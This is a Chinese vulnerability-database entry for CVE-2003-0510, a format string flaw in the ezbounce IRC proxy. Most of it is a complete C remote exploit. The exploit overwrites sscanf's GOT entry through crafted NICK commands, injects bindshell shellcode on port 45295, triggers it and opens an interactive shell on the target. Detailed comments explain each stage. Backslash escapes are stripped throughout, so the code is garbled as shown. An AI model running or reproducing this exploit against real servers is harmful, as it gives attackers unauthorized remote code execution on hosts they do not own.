ezbounce格式串漏洞
漏洞ID | 1107401 | 漏洞类型 | 格式化字符串 |
发布时间 | 2003-07-01 | 更新时间 | 2003-08-07 |
CVE编号 | CVE-2003-0510 |
CNNVD-ID | CNNVD-200308-005 |
漏洞平台 | Linux | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
ezbounce1.0至1.50版本存在格式串漏洞。远程攻击者借助”sessions”命令执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/8071/info
It has been reported that ezbounce is affected by a format string vulnerability. The condition is present in the file "ezbounce/commands.cpp" and can be triggered when session support is enabled. To exploit this vulnerability, the attacker must have valid credentials. This flaw may be of use to attackers who have proxy access but no privileges on the underlying host.
/*[ ezbounce[v1.0+beyond]: remote format string exploit. ]*
* (effects current: v1.04a(stable) --- v1.50-pre6(beta)) *
* *
* by: vade79/v9 [email protected] (fakehalo) *
* *
* ezbounce homepage/URL: *
* http://druglord.freelsd.org/ezbounce/ *
* *
* requirements to exploit: *
* - valid user/password: any access level. *
* - the user's settings contains "enable-detach-command" *
* (should be expected, a main feature of ezbounce) *
* - ability to connect to anything. but, does not *
* disconnect after sending initial irc(USER/NICK) *
* information. this cannot be localhost:bnc_port, *
* it will recognize/abort it. by default uses *
* "localhost:25". if no smtpd is running locally, *
* change at will. *
* *
* compile(when using debug, run with 1>file redirect): *
* cc xezb.c -o xezb *
* cc xezb.c -o xezb -DDEBUG *
* *
* the bug itself(from ezbounce/commands.cpp): *
* 1163:CMDFUNC(sessions) *
* ... *
* 1196:char buff[200], timebuff[15]; *
* ... *
* 1204:sprintf(buff,"%-3d %-20s %-20s %sn", ++idx, *
* c->uinfo.irc->nick, c->uinfo.server, timebuff); *
* 1205:cprintf(buff); *
* *
* cprintf() performs like printf() typically does, don't *
* really know why that was printed to a buffer at all, *
* considering cprintf() supports formats. users can *
* control the c->uinfo.irc->nick buffer without taint *
* checks for anything(%/$), c->uinfo.server can be *
* controlled as well. but, has it to be a real host. *
* "%-number" doesn't limit anything. but, the limit for *
* the nickname is set as 32 elsewhere. this is still is *
* too tight. so, i am going to write the address in two *
* detachments. this means i can't use .dtors or it will *
* fail with only writing two of the four bytes. so, i *
* am using sscanf()'s GOT, as it is not used in the *
* process of writing the address, but is used in other *
* functions. *
* *
* as a side note: this could be exploited as a typical *
* buffer overflow as well. but, limited in more ways. *
* since c->uinfo.server is also user controlled, but has *
* to be a legit(able to lookup/idle), you can use a long *
* string of zeros(ie. "CONN 000000000...") which becomes *
* 0/localhost to overflow the buffer. the problem then *
* becoming you can only change the address to 0x30's, *
* which would require partial address changes(ie. *
* 0xbfff0030). this would be different if *
* c->uinfo.irc->nick came after c->uinfo.server in the *
* sprintf call. in that case you could use the server *
* as a filler of sorts, then the address(es) to change *
* inside the nickname. but, can't win everything. *
* *
* best way of exploiting the bug: *
* USER x *
* NICK <sscanf GOT addr/2+2>%.0d$hn *
* PASS <user>:<pass> *
* CONN <open host>:<open port, besides bnc port> *
* EZB detach *
* (server will disconnect, then reconnect) *
* USER x *
* NICK <sscanf GOT addr/2>%.0d$hn *
* PASS <user>:<pass> *
* CONN <open host>:<open port, besides bnc port> *
* EZB detach *
* (server will disconnect, then reconnect) *
* USER x *
* NICK x *
* PASS <same user>:<same pass> *
* ECHO <shellcode> (gets placed on top of __mbuffer[]) *
* LOG FIND (uses sscanf()) *
* (when sessions/(automatic on connect) gets called it *
* will change the address in two different cprintf() *
* calls. so, i don't want to change the .dtors or it *
* will only write two bytes. i am using the sscanf() *
* GOT, as it isn't used in the process. but, "LOG FIND" *
* uses it) *
**********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* distance to user supplied data. shouldn't be */
/* too far from 12, if not 12. i didn't add an */
/* automated finder for this exploit. :( */
#define POPS 12
/* gdb /path/to/ezbounce */
/* ... */
/* (gdb) x/i sscanf */
/* 0x8049734 <sscanf>: jmp *0x80637b0 */
/* (use the number after jmp) */
#define SSCANF_GOT_ADDR 0x80637b0
/* ./objdump -x /path/to/ezbounce | grep __mbuffer. */
/* ... */
/* 080646e0 g O .bss 00000400 __mbuffer */
/* 1000(buffer strlen)-226(shellcode strlen)=~750. */
/* it is still possible to have data on top of */
/* __mbuffer[], ahead of the user data, mainly log */
/* relays. with ~750 bytes of nops it shouldn't */
/* be a problem. */
#define RET_ADDR (0x080646e0+750)
/* has to connect to something that doesn't */
/* disconnect. (this cannot be the same as the */
/* bounce port) */
#define CONNECT_TO "localhost:25"
#define CODESIZE 1000 /* nops+shellcode buffer. */
#define FMTSIZE 32 /* max format string size. */
#define TIMEOUT 15 /* connection timeout. */
/* taken from another exploit, works perfect for this. */
static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
"x57x5fxebx11x5ex31xc9xb1xc8x80x44x0exffx2bx49"
"x41x49x75xf6xebx05xe8xeaxffxffxffx06x95x06xb0"
"x06x9ex26x86xdbx26x86xd6x26x86xd7x26x5exb6x88"
"xd6x85x3bxa2x55x5ex96x06x95x06xb0x25x25x25x3b"
"x3dx85xc4x88xd7x3bx28x5exb7x88xe5x28x88xd7x27"
"x26x5ex9fx5exb6x85x3bxa2x55x06xb0x0ex98x49xda"
"x06x95x15xa2x55x06x95x25x27x5exb6x88xd9x85x3b"
"xa2x55x5exacx06x95x06xb0x06x9ex88xe6x86xd6x85"
"x05xa2x55x06x95x06xb0x25x25x2cx5exb6x88xdax85"
"x3bxa2x55x5ex9bx06x95x06xb0x85xd7xa2x55x0ex98"
"x4ax15x06x95x5exd0x85xdbxa2x55x06x95x06x9ex5e"
"xc8x85x14xa2x55x06x95x16x85x14xa2x55x06x95x16"
"x85x14xa2x55x06x95x25x3dx04x04x48x3dx3dx04x37"
"x3ex43x5exb8x60x29xf9xddx25x28x5exb6x85xe0xa2"
"x55x06x95x15xa2x55x06x95x5exc8x85xdbxa2x55xc0"
"x6e";
char *getfmt(unsigned short);
char *getcode(void);
char *eberror(short);
short ebconnect(char *hostname,unsigned short port,
char *,char *,signed short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit",1);}
int main(int argc,char **argv){
short r=0;
/* banner fun. */
fprintf(stderr,
"[*] ezbounce[v1.0+]: remote format string exploit.n[*] by:"
" vade79/v9 [email protected] (fakehalo)nn");
if(argc<5){
fprintf(stderr,"[!] syntax: %s <hostname> <port> <user> <pa"
"ss>n",argv[0]);
exit(1);
}
signal(SIGPIPE,SIG_IGN);
/* ugly brute force. */
/* change sscanf()'s GOT: 0xFFFF0000. */
fprintf(stderr,"[*] sending format string(0xFFFF0000): ");
r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],0);
fprintf(stderr,"%s.n",eberror(r));
/* change sscanf()'s GOT: 0x0000FFFF. */
fprintf(stderr,"[*] sending format string(0x0000FFFF): ");
r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],1);
fprintf(stderr,"%s.n",eberror(r));
/* ECHO <shellcode>, and run LOG FIND(uses sscanf()). */
fprintf(stderr,"[*] sending shellcode, and enabling: ");
r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],2);
fprintf(stderr,"%s.n",eberror(r));
getshell(argv[1],45295); /* defined in shellcode. */
fprintf(stderr,"[!] exploit failed.n");
exit(0);
}
char *getfmt(unsigned short type){
unsigned int addr1,addr2;
unsigned int pops=POPS;
unsigned long sscanfgot=SSCANF_GOT_ADDR;
unsigned long addr=RET_ADDR;
char *buf;
char taddr[3];
taddr[0]=(sscanfgot&0xff000000)>>24;
taddr[1]=(sscanfgot&0x00ff0000)>>16;
taddr[2]=(sscanfgot&0x0000ff00)>>8;
taddr[3]=(sscanfgot&0x000000ff);
addr1=(addr&0xffff0000)>>16;
addr2=(addr&0x0000ffff);
if(!(buf=(char *)malloc(FMTSIZE+1)))
printe("getfmt(): allocating memory failed",1);
memset(buf,0x0,(FMTSIZE+1));
if(!type)
sprintf(buf,
"%c%c%c%c"
"%%.%dd%%%d$hn",
taddr[3]+2,taddr[2],taddr[1],taddr[0],
(addr1-9),pops); /* 4=addr + 5=pre bytes(could be 4). */
else if(type==1)
sprintf(buf,
"%c%c%c%c"
"%%.%dd%%%d$hn",
taddr[3],taddr[2],taddr[1],taddr[0],
(addr2-9),pops); /* 4=addr + 5=pre bytes(could be 4). */
else if(type>1)
sprintf(buf,"x");
return(buf);
}
char *getcode(void){
char *buf;
if(!(buf=(char *)malloc(CODESIZE+1)))
printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
char *eberror(short err){
return(err?"failed":"success");
}
short ebconnect(char *hostname,unsigned short port,
char *user,char *pass,signed short type){
int sock;
struct hostent *t;
struct sockaddr_in s;
/* see what actually happens, for testing. */
#ifdef DEBUG
sock=1; /* stdout. */
#else
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
return(1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
return(1);
alarm(0);
#endif
dprintf(sock,"USER xn");
usleep(250000);
dprintf(sock,"NICK %sn",(type==2?"x":getfmt(type)));
usleep(250000);
dprintf(sock,"PASS %s:%sn",user,pass);
usleep(250000);
/* 2 = don't change any address, just enable. */
if(type==2){
/* puts the shellcode into memory. (on */
/* top of the dynamic __mbuffer[]) */
dprintf(sock,"ECHO %sn",getcode());
usleep(250000);
/* "LOG FIND" uses sscanf(), GOT that got changed. */
/* (don't need any user options to run the command) */
dprintf(sock,"LOG FINDn");
}
/* !2 = change address. */
else{
/* have to connect to something to detach. */
/* can't be the same port as the bnc. */
dprintf(sock,"CONN "CONNECT_TO"n");
sleep(1);
dprintf(sock,"EZB detachn");
}
sleep(1);
/* if stdout, don't close. */
#ifndef DEBUG
close(sock);
#endif
return(0);
}
/* same thing i use for every remote exploit. :) */
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
printe("getshell(): socket() failed",0);
return;
}
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
printe("getshell(): couldn't resolve",0);
return;
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.n",
hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.n",
hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.nn",
hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;idn",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1){
printe("getshell(): select() failed",0);
return;
}
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1){
printe("getshell(): read() failed",0);
return;
}
if(write(sock,buf,r)!=r){
printe("getshell(): write() failed",0);
return;
}
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stderr,"(error: %s)nn",err);
if(e)
exit(1);
return;
}
|受影响的产品
ezbounce ezbounce 1.2.2
ezbounce ezbounce 1.9
ezbounce ezbounce 1.8
ezbounce ezbounce 1.7
ezbounce ezbounce 1.6
ezbounce ezbounce 1.50
ezbounce ezbounce
|参考资料
来源:BUGTRAQ
名称:20030701ezbounce[v1.0-(1.04a/1.50pre6)]:remoteformatstringexploit.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105709355110281&w;=2
来源:druglord.freelsd.org
链接:http://druglord.freelsd.org/ezbounce/
相关推荐: NT LsaQueryInformationPolicy() Domain SID Leak Vulnerability
NT LsaQueryInformationPolicy() Domain SID Leak Vulnerability 漏洞ID 1104364 漏洞类型 Access Validation Error 发布时间 2000-02-01 更新时间 2000-0…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666